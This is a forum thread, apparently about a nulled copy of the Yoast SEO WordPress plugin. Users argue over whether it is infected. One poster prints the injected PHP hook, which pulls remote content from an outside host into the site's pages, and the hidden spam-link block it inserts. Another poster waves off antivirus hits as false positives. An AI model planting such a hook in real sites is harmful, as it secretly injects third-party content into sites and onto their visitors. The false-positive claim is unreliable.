i decrypt all of this base 64 encrypted code. includes bull shits nothing to fear this antivirus that scan yoast is from bangladesh for sure. false positive detects encrypted code as malicious. if you buy from official site is the same thing
i dont ask i just give answers to stop this questions. Give love to babiato pls. Thank you
virus detected ! take care!
add_action('wp_body_open', function(){ if(is_category()||is_front_page()||is_home()){echo file_get_contents('https://wordpresss.store/20210101.txt');}});
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a style="font-size:18px;" href="https://downapkmod.com/" title="https://downapkmod.com/">https://downapkmod.com/</a>,
<a style="font-size:18px;" href="https://apkcop.com/" title="https://apkcop.com/">https://apkcop.com/</a>
</div>https://downapkmod.com/
https://apkcop.com/its infected bro...on /inc/wpseo-functions.php in line 35 its add
PHP:add_action('wp_body_open', function(){ if(is_category()||is_front_page()||is_home()){echo file_get_contents('https://wordpresss.store/20210101.txt');}});
then its fetch the content
PHP:<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;"> <a style="font-size:18px;" href="https://downapkmod.com/" title="https://downapkmod.com/">https://downapkmod.com/</a>, <a style="font-size:18px;" href="https://apkcop.com/" title="https://apkcop.com/">https://apkcop.com/</a> </div>
your category pages, Homepages then injected with hidden links to
Code:https://downapkmod.com/ https://apkcop.com/
Versi 15.6 is obvious, 15.7 I'm suspecting also infected but with different method, can't install anything from Wordpress repo(same symptom) ..I'll have a look later
I have v15.6.2 and v15.7 both versions and i check that file you have mentioned and there have not that line in wpseo-functions.php
I'm 150% sure I got the file from here, not from any else source ..but that's not the point ..single line of code might be slipped..my beloved brothers' sons of Usman, I'm not trying to make a fuzz or something like that
@NullMaster
